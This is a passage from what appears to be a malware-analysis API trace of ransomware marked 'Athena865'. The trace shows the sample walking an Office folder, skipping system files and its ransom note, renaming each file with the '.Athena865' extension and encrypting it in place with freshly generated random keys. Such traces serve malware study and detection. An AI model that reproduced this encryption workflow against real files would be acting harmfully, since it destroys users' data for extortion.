lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.509] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd23cf4e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc9b78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XFUNC.DLL", cAlternateFileName="")) returned 1 [0089.509] lstrcmpiW (lpString1="XFUNC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.509] lstrcmpiW (lpString1="XFUNC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.509] lstrcmpiW (lpString1="XFUNC.DLL", lpString2=".") returned 1 [0089.509] lstrcmpiW (lpString1="XFUNC.DLL", lpString2="..") returned 1 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2="windows") returned 1 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2="bootmgr") returned 1 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2="temp") returned 1 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2="pagefile.sys") returned 1 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2="boot") returned 1 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2="ids.txt") returned 1 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2="ntuser.dat") returned 1 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2="perflogs") returned 1 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2="MSBuild") returned 1 [0089.510] lstrlenW (lpString="XFUNC.DLL") returned 9 [0089.510] lstrcpyW (in: lpString1=0x241e89e, lpString2="XFUNC.DLL" | out: lpString1="XFUNC.DLL") returned="XFUNC.DLL" [0089.510] lstrlenW (lpString="XFUNC.DLL") returned 9 [0089.510] lstrlenW (lpString="Athena865") returned 9 [0089.510] lstrlenW (lpString=".dll") returned 4 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2=".dll") returned 1 [0089.510] lstrlenW (lpString=".lnk") returned 4 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2=".lnk") returned 1 [0089.510] lstrlenW (lpString=".ini") returned 4 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2=".ini") returned 1 [0089.510] lstrlenW (lpString=".sys") returned 4 [0089.510] lstrcmpiW (lpString1="XFUNC.DLL", lpString2=".sys") returned 1 [0089.510] lstrlenW (lpString="XFUNC.DLL") returned 9 [0089.510] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\XFUNC.DLL.Athena865") returned 62 [0089.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XFUNC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\xfunc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XFUNC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xfunc.dll.athena865"), dwFlags=0x1) returned 1 [0089.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XFUNC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xfunc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0089.512] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=826232) returned 1 [0089.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.512] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.513] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.513] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.513] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc9e80, lpName=0x0) returned 0x17c [0089.517] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc9e80) returned 0x2d50000 [0089.544] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.544] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.544] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.545] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0089.552] CloseHandle (hObject=0x17c) returned 1 [0089.552] CloseHandle (hObject=0x154) returned 1 [0089.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.555] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x11ed98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XIMAGE3B.DLL", cAlternateFileName="")) returned 1 [0089.555] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.555] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.555] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2=".") returned 1 [0089.555] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2="..") returned 1 [0089.555] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2="windows") returned 1 [0089.555] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2="bootmgr") returned 1 [0089.555] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2="temp") returned 1 [0089.555] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2="pagefile.sys") returned 1 [0089.555] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2="boot") returned 1 [0089.555] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2="ids.txt") returned 1 [0089.556] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2="ntuser.dat") returned 1 [0089.556] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2="perflogs") returned 1 [0089.556] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2="MSBuild") returned 1 [0089.556] lstrlenW (lpString="XIMAGE3B.DLL") returned 12 [0089.556] lstrcpyW (in: lpString1=0x241e89e, lpString2="XIMAGE3B.DLL" | out: lpString1="XIMAGE3B.DLL") returned="XIMAGE3B.DLL" [0089.556] lstrlenW (lpString="XIMAGE3B.DLL") returned 12 [0089.556] lstrlenW (lpString="Athena865") returned 9 [0089.556] lstrcmpiW (lpString1="AGE3B.DLL", lpString2="Athena865") returned -1 [0089.556] lstrlenW (lpString=".dll") returned 4 [0089.556] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2=".dll") returned 1 [0089.556] lstrlenW (lpString=".lnk") returned 4 [0089.556] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2=".lnk") returned 1 [0089.556] lstrlenW (lpString=".ini") returned 4 [0089.556] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2=".ini") returned 1 [0089.556] lstrlenW (lpString=".sys") returned 4 [0089.556] lstrcmpiW (lpString1="XIMAGE3B.DLL", lpString2=".sys") returned 1 [0089.556] lstrlenW (lpString="XIMAGE3B.DLL") returned 12 [0089.556] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\XIMAGE3B.DLL.Athena865") returned 65 [0089.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XIMAGE3B.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ximage3b.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XIMAGE3B.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ximage3b.dll.athena865"), dwFlags=0x1) returned 1 [0089.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XIMAGE3B.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ximage3b.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0089.557] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1174936) returned 1 [0089.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.558] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.558] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.558] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.559] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11f0a0, lpName=0x0) returned 0x17c [0089.560] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11f0a0) returned 0x2d50000 [0089.604] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.604] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.604] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.605] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0089.615] CloseHandle (hObject=0x17c) returned 1 [0089.615] CloseHandle (hObject=0x154) returned 1 [0089.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.620] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ac6400, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43ac6400, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLCALL32.DLL", cAlternateFileName="")) returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2=".") returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2="..") returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2="windows") returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2="bootmgr") returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2="temp") returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2="pagefile.sys") returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2="boot") returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2="ids.txt") returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2="ntuser.dat") returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2="perflogs") returned 1 [0089.620] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2="MSBuild") returned 1 [0089.620] lstrlenW (lpString="XLCALL32.DLL") returned 12 [0089.620] lstrcpyW (in: lpString1=0x241e89e, lpString2="XLCALL32.DLL" | out: lpString1="XLCALL32.DLL") returned="XLCALL32.DLL" [0089.620] lstrlenW (lpString="XLCALL32.DLL") returned 12 [0089.620] lstrlenW (lpString="Athena865") returned 9 [0089.621] lstrcmpiW (lpString1="ALL32.DLL", lpString2="Athena865") returned -1 [0089.621] lstrlenW (lpString=".dll") returned 4 [0089.621] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2=".dll") returned 1 [0089.621] lstrlenW (lpString=".lnk") returned 4 [0089.621] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2=".lnk") returned 1 [0089.621] lstrlenW (lpString=".ini") returned 4 [0089.621] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2=".ini") returned 1 [0089.621] lstrlenW (lpString=".sys") returned 4 [0089.621] lstrcmpiW (lpString1="XLCALL32.DLL", lpString2=".sys") returned 1 [0089.621] lstrlenW (lpString="XLCALL32.DLL") returned 12 [0089.621] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\XLCALL32.DLL.Athena865") returned 65 [0089.621] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCALL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\xlcall32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCALL32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xlcall32.dll.athena865"), dwFlags=0x1) returned 1 [0089.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCALL32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xlcall32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0089.622] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10104) returned 1 [0089.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.622] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.623] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.623] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.623] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a80, lpName=0x0) returned 0x17c [0089.625] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a80) returned 0x100000 [0089.626] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.626] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.626] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.627] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0089.627] CloseHandle (hObject=0x17c) returned 1 [0089.627] CloseHandle (hObject=0x154) returned 1 [0089.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.628] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fddd000, ftCreationTime.dwHighDateTime=0x1c7ae71, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fddd000, ftLastWriteTime.dwHighDateTime=0x1c7ae71, nFileSizeHigh=0x0, nFileSizeLow=0x13784, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLCPRTID.XML", cAlternateFileName="")) returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2=".") returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2="..") returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2="windows") returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2="bootmgr") returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2="temp") returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2="pagefile.sys") returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2="boot") returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2="ids.txt") returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2="ntuser.dat") returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2="perflogs") returned 1 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2="MSBuild") returned 1 [0089.628] lstrlenW (lpString="XLCPRTID.XML") returned 12 [0089.628] lstrcpyW (in: lpString1=0x241e89e, lpString2="XLCPRTID.XML" | out: lpString1="XLCPRTID.XML") returned="XLCPRTID.XML" [0089.628] lstrlenW (lpString="XLCPRTID.XML") returned 12 [0089.628] lstrlenW (lpString="Athena865") returned 9 [0089.628] lstrcmpiW (lpString1="PRTID.XML", lpString2="Athena865") returned 1 [0089.628] lstrlenW (lpString=".dll") returned 4 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2=".dll") returned 1 [0089.628] lstrlenW (lpString=".lnk") returned 4 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2=".lnk") returned 1 [0089.628] lstrlenW (lpString=".ini") returned 4 [0089.628] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2=".ini") returned 1 [0089.628] lstrlenW (lpString=".sys") returned 4 [0089.629] lstrcmpiW (lpString1="XLCPRTID.XML", lpString2=".sys") returned 1 [0089.629] lstrlenW (lpString="XLCPRTID.XML") returned 12 [0089.629] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML.Athena865") returned 65 [0089.629] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml.athena865"), dwFlags=0x1) returned 1 [0089.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0089.630] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79748) returned 1 [0089.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.630] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.631] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.631] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.631] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a90, lpName=0x0) returned 0x17c [0089.633] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a90) returned 0x100000 [0089.636] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.637] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.637] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.637] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.637] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.638] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0089.639] CloseHandle (hObject=0x17c) returned 1 [0089.639] CloseHandle (hObject=0x154) returned 1 [0089.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.639] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: 